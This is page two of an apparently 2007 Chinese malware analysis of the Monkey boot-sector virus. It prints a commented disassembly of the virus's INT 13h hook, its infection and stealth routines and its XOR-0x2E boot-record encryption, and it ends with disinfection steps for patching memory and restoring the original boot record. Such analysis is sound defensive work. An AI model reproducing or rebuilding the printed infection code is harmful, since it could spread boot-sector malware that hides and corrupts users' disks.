WEB开发网
开发学院网络安全黑客技术 Monkey病毒的分析和防治 阅读

Monkey病毒的分析和防治

 2007-01-13 20:16:21 来源:WEB开发网   
核心提示: ;;新 INT 13 程序,位于 CS:0020 处;0B3E:0020 1EPUSHDS0B3E:0021 56PUSHSI0B3E:0022 57PUSHDI0B3E:0023 50PUSHAX0B3E:0024 51PUSHCX0B3E:0025 52PUSHDX0B3E:0026
;========================================================================
;  新 INT 13 程序,位于 CS:0020 处
;========================================================================
0B3E:0020 1E    PUSH  DS
0B3E:0021 56    PUSH  SI
0B3E:0022 57    PUSH  DI
0B3E:0023 50    PUSH  AX
0B3E:0024 51    PUSH  CX
0B3E:0025 52    PUSH  DX
0B3E:0026 E89901  CALL  01C2     ;硬盘 CX = 0000 软盘 CX = 0100
0B3E:0029 80FC02  CMP  AH,02
0B3E:002C 750E   JNZ  003C
0B3E:002E 52    PUSH  DX      ;读盘
0B3E:002F 2BC0   SUB  AX,AX     ;取系统时间
0B3E:0031 CD1A   INT  1A
0B3E:0033 80FA40  CMP  DL,40     ;可以看到病毒并不是每次读盘读要传播
0B3E:0036 5A    POP  DX      ;而是先判断时间
0B3E:0037 7303   JNB  003C
0B3E:0039 E8A900  CALL  00E5     ;传染
0B3E:003C 5A    POP  DX
0B3E:003D 59    POP  CX
0B3E:003E 58    POP  AX
0B3E:003F 5F    POP  DI
0B3E:0040 52    PUSH  DX
0B3E:0041 51    PUSH  CX
0B3E:0042 50    PUSH  AX
0B3E:0043 83F903  CMP  CX,+03
0B3E:0046 733A   JNB  0082
0B3E:0048 3A34   CMP  DH,[SI]
0B3E:004A 7536   JNZ  0082     ;非读原引导区退出
0B3E:004C 80FC02  CMP  AH,02     ;读原引导区转 005F
0B3E:004F 740E   JZ  005F
0B3E:0051 80FC03  CMP  AH,03     ;写原引导区转 0056
0B3E:0054 752C   JNZ  0082
0B3E:0056 80FA80  CMP  DL,80     ;写软盘退出
0B3E:0059 7227   JB  0082
0B3E:005B 2AE4   SUB  AH,AH     ;写硬盘原引导记录
0B3E:005D EB23   JMP  0082     ;则屏蔽
;在这儿可以看到,当病毒在内存中时,写硬盘引导记录是无效的
;所以,这时候用 FDISK/MBR 或进行分区操作等都等于没有操作
0B3E:005F E82E00  CALL  0090     ;读原引导记录
0B3E:0062 7221   JB   0085
0B3E:0064 E8F800  CALL  015F     ;判传染标志
0B3E:0067 7408   JZ   0071     ;未传染退出
0B3E:0069 E8FB00  CALL  0167
0B3E:006C 7403   JZ   0071
0B3E:006E F8    CLC
0B3E:006F EB14   JMP  0085
0B3E:0071 E80A01  CALL  017E     ;得到原引导记录位置
0B3E:0074 8A7401  MOV  DH,[SI+01]
0B3E:0077 58    POP  AX
0B3E:0078 E81500  CALL  0090     ;读出原引导记录
0B3E:007B E86101  CALL  01DF     ;解密
0B3E:007E 59    POP  CX
0B3E:007F 5A    POP  DX
0B3E:0080 EB06   JMP  0088     ;退出
;从这一段可以看到,在系统读引导记录时,病毒先调出原来的引导记录
;解密后传送给系统,但当系统中没有病毒时,就无法得到正常的引导记录,
;这就是为什么用干净的软盘启动进不了硬盘的原因。
0B3E:0082 E80B00  CALL  0090
0B3E:0085 1F    POP  DS
0B3E:0086 1F    POP  DS
0B3E:0087 1F    POP  DS
0B3E:0088 5E    POP  SI
0B3E:0089 1F    POP  DS
0B3E:008A CA0200  RETF  0002
;=====================================================================
;病毒读盘
0B3E:008D B80102  MOV  AX,0201
0B3E:0090 9C    PUSHF       ;病毒调用 INT 13H
0B3E:0091 2E    CS:
0B3E:0092 FF1EFC01 CALL  FAR [01FC]
0B3E:0096 C3    RET
;==============================================================
;  传染子程序
;==============================================================
0B3E:00E5 2BC9    SUB  CX,CX
0B3E:00E7 41     INC   CX
0B3E:00E8 51     PUSH  CX
0B3E:00E9 8A34    MOV  DH,[SI]
0B3E:00EB E89FFF   CALL  008D     ;读出引导记录
0B3E:00EE 7264    JB   0154
0B3E:00F0 E86C00   CALL  015F     ;判病毒标志
0B3E:00F3 745F    JZ   0154     ;已传染退出
0B3E:00F5 E86F00   CALL  0167
0B3E:00F8 7521    JNZ  011B     ;已传染
0B3E:00FA 26     ES:
0B3E:00FB 83BFFA0100 CMP  WORD PTR [BX+01FA],+00
0B3E:0100 7452    JZ   0154     ;硬盘退出
0B3E:0102 26     ES:
0B3E:0103 C787FA010000 MOV  WORD PTR [BX+01FA],0000
0B3E:0109 B101    MOV  CL,01     ;写病毒
0B3E:010B E84800   CALL  0156
0B3E:010E 7244    JB   0154
0B3E:0110 41     INC   CX
0B3E:0111 8A7402   MOV  DH,[SI+02]
0B3E:0114 E876FF   CALL  008D
0B3E:0117 723B    JB   0154
0B3E:0119 58     POP   AX
0B3E:011A 51     PUSH  CX
0B3E:011B E86000   CALL  017E     ;转换
0B3E:011E E8BE00   CALL  01DF     ;加密
0B3E:0121 46     INC   SI
0B3E:0122 E83100   CALL  0156     ;保存原引导记录
0B3E:0125 4E     DEC   SI
0B3E:0126 722C    JB   0154
0B3E:0128 E8B400   CALL  01DF     ;解密
0B3E:012B 51     PUSH  CX
0B3E:012C E87B00   CALL  01AA     ;移动病毒到原引导区
0B3E:012F 59     POP   CX
0B3E:0130 52     PUSH  DX
0B3E:0131 80FA80   CMP  DL,80
0B3E:0134 7302    JNB  0138
0B3E:0136 32D2    XOR  DL,DL
0B3E:0138 26     ES:
0B3E:0139 8997DC00  MOV  [BX+00DC],DX
0B3E:013D 5A     POP   DX
0B3E:013E 26     ES:
0B3E:013F 888FDA00  MOV  [BX+00DA],CL
0B3E:0143 26     ES:
0B3E:0144 C787FE0155AA MOV  WORD PTR [BX+01FE],AA55
0B3E:014A 59     POP   CX
0B3E:014B 51     PUSH  CX
0B3E:014C 26     ES:
0B3E:014D 888F6F01  MOV  [BX+016F],CL
0B3E:0151 E80200   CALL  0156     ;写病毒到引导记录
0B3E:0154 58     POP   AX
0B3E:0155 C3     RET
;===========================================================
;保存原引导记录
0B3E:0156 8A34    MOV  DH,[SI]
0B3E:0158 B80103   MOV  AX,0301
0B3E:015B E832FF   CALL  0090
0B3E:015E C3     RET
0B3E:015F 26     ES:
0B3E:0160 81BFFA011992 CMP  WORD PTR [BX+01FA],9219
0B3E:0166 C3     RET
0B3E:0167 26     ES:
0B3E:0168 81BF19015061 CMP  WORD PTR [BX+0119],6150
0B3E:016E C3     RET
;===========================================================
;查表得到保存原引导记录的扇区号
0B3E:017E 57    PUSH  DI
0B3E:017F 56    PUSH  SI
0B3E:0180 26    ES:
0B3E:0181 8A4714  MOV  AL,[BX+14]
0B3E:0184 B90400  MOV  CX,0004
0B3E:0187 8BF1   MOV  SI,CX
0B3E:0189 4E    DEC  SI
0B3E:018A 38847601 CMP  [SI+0176],AL
0B3E:018E 7406   JZ  0196
0B3E:0190 E2F5   LOOP  0187
0B3E:0192 B103   MOV  CL,03
0B3E:0194 EB04   JMP  019A
0B3E:0196 8A8C7A01 MOV  CL,[SI+017A]
0B3E:019A 5E    POP  SI
0B3E:019B 5F    POP  DI
0B3E:019C C3    RET
          ...
;================================================================
;加密/解密原引导记录,从这一段可以看到,病毒只是把原引导记录简单
;的和 2E 进行异或,所以即使不慎用 FDISK/MBR 把病毒破坏掉了,也可以
;手工简单的将引导记录解密
0B3E:01DF 57   PUSH  DI
0B3E:01E0 51   PUSH  CX
0B3E:01E1 50   PUSH  AX
0B3E:01E2 8BFB  MOV  DI,BX
0B3E:01E4 B90002 MOV  CX,0200
0B3E:01E7 FC   CLD
0B3E:01E8 26   ES:
0B3E:01E9 8A05  MOV  AL,[DI]
0B3E:01EB 342E  XOR  AL,2E
0B3E:01ED AA   STOSB
0B3E:01EE E2F8  LOOP  01E8
0B3E:01F0 58   POP  AX
0B3E:01F1 59   POP  CX
0B3E:01F2 5F   POP  DI
0B3E:01F3 C3   RET

杀毒要点:

1. 内存中的病毒最好用查找字符串的方法,如果找到特征字符串,可以把病毒中 INT 13H 传染部分的有关代码跳过,假设已找到病毒的内存段地址在 DS 中:

    mov  word ptr ds:[0020h],0ff2eh
    mov  word ptr ds:[0022h],0fc2eh
    mov  byte ptr ds:[0024h],1
    mov  word ptr ds:[01d0h],0

2. 磁盘中的病毒,可以先读出有病毒的引导记录,再在病毒体中的 00DA 中得到原引导记录的扇区号,在 00DC 中的到磁头号,再读出加密过的原引导记录,解密后再写如引导区如下:

    xor   ch,ch       ;read out old boot area
    mov   cl,byte ptr file_exec+0dah
    mov   dx,word ptr file_exec+0dch
    call  read_disk     ;
   
    call  monkey_decode    ;de-code it
    call  write_to_boot
    ...

上一页  1 2 

Tags:Monkey 病毒 分析

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接